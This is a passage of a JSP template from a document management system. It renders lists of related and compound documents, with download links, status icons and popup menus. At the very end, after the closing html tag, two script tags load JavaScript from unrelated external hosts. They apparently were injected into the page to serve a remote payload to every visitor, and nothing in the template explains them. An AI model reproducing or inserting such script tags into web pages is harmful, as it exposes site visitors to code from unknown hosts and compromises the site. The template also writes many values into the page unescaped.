    </td>
    <td nowrap>
      <html:img src='IconDMSRelationshipActive.gif'  align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)relationshipObj).getDescription()%>'/>
       -
      <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)relationshipObj).getRelationshipType()%>" textOnly='true'>
          <html:options dbListName='dmsDocumentRelationshipList'/>
      </html:select>
    </td>
   <td>
     <%if("true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(reItemStatus)) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=relatedDocument.getDocumentType()%>\',  \'<%=relatedDocument.getID()%>\', \'<%=relatedDocument.getParentID()%>\', \'<%=relatedDocument.getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) relatedDocument)%>\', \'<%=checkoutUserID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=relatedPermission%>\',\'<%=relatedDocument.getHasRelationship()%>\',\'<%=directURL%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
   <nobr><dms:documentInfo docObject='<%=relatedDocument%>' recordStatus='<%=relatedDocument.getRecordStatus()%>' permission='<%=relatedPermission%>' rootDocument='<%=relatedRoot%>' indexFlag="RelatedDocIndexFlag" popupFlag="true"/></nobr>
  </td>
  <td>
    <!-- <dms:locationPath parentID="<%=((DmsDocument)relatedDocument).getParentID()%>" rootID="<%=((DmsDocument)relatedDocument).getRootID()%>" permission='<%=relatedPermission%>' rootDocument='<%=relatedRoot%>' indexFlag='RelatedDocIndexFlag'  showAllPath='false'/> -->
      <%=docRetrievalManager.getLocationPath(((DmsDocument)relatedDocument).getParentID())%>
  </td>
    <td class="bodyVerySmall"><%=((DmsDocument)relatedDocument).getCreatorName()%></td>
  </tr>
  <%}%>
  <%if(!Utility.isEmpty(IndirectRelationDocumentList) && !Utility.isEmpty(DocRelationList)){%>
  <tr>
    <td colspan="6" height="20"></td>
  </tr>
  <%}%>
  <%for(int j=0;j<IndirectRelationDocumentList.size();j++){
      MtmDocumentRelationship indirectRelationshipObj = (MtmDocumentRelationship)IndirectRelationDocumentList.get(j);
      DmsDocument indirectRelatedDocument = docRetrievalManager.getDocument(indirectRelationshipObj.getRelatedDocumentID());
      String indirectRelatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, indirectRelatedDocument.getID());
      DmsDocument indirectRelatedRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(indirectRelatedDocument.getRootID());
       String inItemStatus =((DmsDocument)indirectRelatedDocument).getItemStatus();
      Integer inCheckoutUserID = new Integer("0");
      if (DmsVersion.EXCLUSIVE_LOCK.equals(inItemStatus)) {
        checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(indirectRelatedDocument.getCheckoutID());
        inCheckoutUserID = checkoutHistory.getCheckoutPersonID();
      }
  %>
  <tr id="tr<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>" class="listContent<%=j%2%>">
       <td width="32">
        <nobr>
        <%if(!DmsDocument.PAPER_DOC_TYPE.equals(((DmsDocument)indirectRelatedDocument).getDocumentType())){%>
        <a onMouseOver="return overlib('<bean:message key='dms.message.force_download'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>&isDownload=Y&version=TOP"><html:img src='IconDMSOpDownload.gif'  align='absmiddle'/></a>
        <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
        <a onMouseOver="return overlib('<bean:message key='dms.message.open_directly'/>')" onMouseOut="return nd()" href="<%=request.getContextPath()%>/dms/FileDownloadServlet?targetID=<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>&version=TOP" target="_blank"><html:img src='IconDMSOpOpen.gif'  align='absmiddle'/></a>
        <%}else{%>
        <html:img src='IconDMSOpDownloadDisable.gif'  align='absmiddle'/>
        <html:img src='LayoutSpacer.gif'  align='absmiddle' width='3'/>
        <html:img src='IconDMSOpOpenDisable.gif'  align='absmiddle'/>
        <%}%>
        </nobr>
      </td>
    <td>
     <%if("true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(inItemStatus)) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=indirectRelatedDocument.getDocumentType()%>\',  \'<%=indirectRelatedDocument.getID()%>\', \'<%=indirectRelatedDocument.getParentID()%>\', \'<%=indirectRelatedDocument.getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) indirectRelatedDocument)%>\', \'<%=inCheckoutUserID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=indirectRelatedPermission%>\',\'<%=indirectRelatedDocument.getHasRelationship()%>\',\'<%=directURL%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
    <nobr><dms:documentInfo docObject='<%=indirectRelatedDocument%>' recordStatus='<%=indirectRelatedDocument.getRecordStatus()%>' permission='<%=indirectRelatedPermission%>' rootDocument='<%=indirectRelatedRoot%>' indexFlag="RelatedDocIndexFlag" popupFlag="true"/></nobr></td>
    <td  nowrap>
      <html:img src='IconDMSRelationshipPassive.gif' align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)indirectRelationshipObj).getDescription()%>'/>
       -
      <html:select property="relationshipType" value="<%=((MtmDocumentRelationship)indirectRelationshipObj).getRelationshipType()%>" textOnly='true'>
          <html:options dbListName='dmsDocumentRelationshipList'/>
      </html:select>
    </td>
  <td>
     <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=maintDmsDocumentForm.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/></nobr>
  </td>
  <td>
    <!-- <dms:locationPath parentID="<%=((DmsDocument)indirectRelatedDocument).getParentID()%>" rootID="<%=((DmsDocument)indirectRelatedDocument).getRootID()%>" permission='<%=indirectRelatedPermission%>' rootDocument='<%=indirectRelatedRoot%>' indexFlag='RelatedDocIndexFlag'  showAllPath='false'/> -->
    <%=docRetrievalManager.getLocationPath(((DmsDocument)indirectRelatedDocument).getParentID())%>

  </td>

    <td class="bodyVerySmall"><%=((DmsDocument)indirectRelatedDocument).getCreatorName()%></td>
  </tr>
  <%}%>
  <tr>
    <td colspan="3"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>
  </table>


<%
   } //end if%>
<!--Document relationship end-->

<!--Compound Document begin -->
<% if (DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)) {
      DmsDocument childDocument = new DmsDocument();
%>
  <table cellpadding="0" cellspacing="0" border="0" width="100%">
    <tr>
      <td class="sectionTitle" valign="bottom" nowrap><bean:message key="dms.label.included_document_list"/></td>
      <td align="right">
      </td>
    </tr>
    <tr>
      <td class="blackLine" colspan="2" width="1"><html:img src='Spacer.gif'  width='1' height='1'/></td></tr>
  </table>

  <table cellpadding="3" cellspacing="1" border="0" width="100%"><tr>
    <!-- Table Column Header Begin -->

    <td  class="formLabelSmall"><bean:message key="dms.label.name_D"/></td>
    <td  class="formLabelSmall"><bean:message key="dms.columnheader.item_size"/></td>
    <td  class="formLabelSmall"><bean:message key="common.columnheader.update_date"/></td>
    <td  class="formLabelSmall"><bean:message key="common.columnheader.updater"/></td>
    <td  class="formLabelSmall"><bean:message key= "dms.columnheader.item_status"/></td>
    <!-- Table Column Header End -->
    </tr>
    <%for(int k=0;k < CompoundDocList.size(); k++){
        childDocument = (DmsDocument)CompoundDocList.get(k);
        String childPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, childDocument.getID());
        DmsDocument childRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(childDocument.getRootID());
         String childDocItemStatus = ((DmsDocument) childDocument).getItemStatus();
      Integer childCheckoutUserID = new Integer("0");
      if (DmsVersion.EXCLUSIVE_LOCK.equals(childDocItemStatus)) {
        checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(childDocument.getCheckoutID());
        childCheckoutUserID = checkoutHistory.getCheckoutPersonID();
      }
    %>
      <tr id="tr<%=((AbstractBaseObject)childDocument).getID()%>">


      <td>
     <%if("true".equals(fromEmail)){%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(childDocItemStatus)) { %>
        <a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=((DmsDocument)childDocument).getDocumentType()%>\',  \'<%=((DmsDocument)childDocument).getID()%>\', \'<%=((DmsDocument)childDocument).getParentID()%>\', \'<%=((DmsDocument)childDocument).getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) childDocument)%>\', \'<%=childCheckoutUserID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=childPermission%>\',\'<%=((DmsDocument)childDocument).getHasRelationship()%>\',\'<%=directURL%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
      <% } else { %>
        <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
      <% } %>
     <%}%>&nbsp;
          <nobr><dms:documentInfo docObject='<%=(DmsDocument)childDocument%>' permission='<%=childPermission%>' rootDocument='<%=childRoot%>'  indexFlag="ChildDocIndexFlag"/></nobr></td>
      <td align="center" nowrap>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) childDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) childDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        } else {%>
          <%=GlobalConstant.EMPTY_FIELD%>
        <%}%>
    </td>
      <%SimpleDateFormat sdf = new SimpleDateFormat(TextUtility.getDateTimeFormat().toPattern());

      %>
      <td class="bodyVerySmall" nowrap><%=sdf.format(childDocument.getUpdateDate())%></td>
      <td class="bodyVerySmall"><%=((DmsDocument) childDocument).getUpdaterName()%></td>


      <td align="center" class="bodyVerySmall" nowrap>
    <%if (!DmsVersion.ARCHIVED_STATUS.equals(childDocItemStatus)) { %>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) childDocument).getDocumentType())) { %>
        <%if (childDocItemStatus.equals(DmsVersion.EXCLUSIVE_LOCK)) {
            String checkoutUser = UserInfoFactory.getUserFullName(checkoutPersonID); %>
            <html:img src="IconDMSLock.gif"   align="absmiddle"/>
        <%} else if (childDocItemStatus.equals(DmsVersion.ARCHIVED_STATUS)) {%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
        <%} else {%>
            <%if (permission.indexOf("T")>=0){%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
            <%}else{%>
            <html:img src='IconDMSUnlock.gif'  align="absmiddle"/>
            <%}%>
        <%}%>
      <%} else {%>
        <%=GlobalConstant.EMPTY_FIELD%>
      <%}%>
    <%} else {%>

    <%}%>
    </td>


      </tr>
    <%}//end for%>
  <tr>
    <td colspan="3"><html:img src='LayoutSpacer.gif'  height='8'/></td>
  </tr>

<%} //end if%>
<!--Compound Document end -->





<table width="100%" border="0" cellspacing="0">
        <tr>
    <td align="center">


    </td>
  </tr>
</table>

</td></tr></table>

<%}%>
</html:form>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>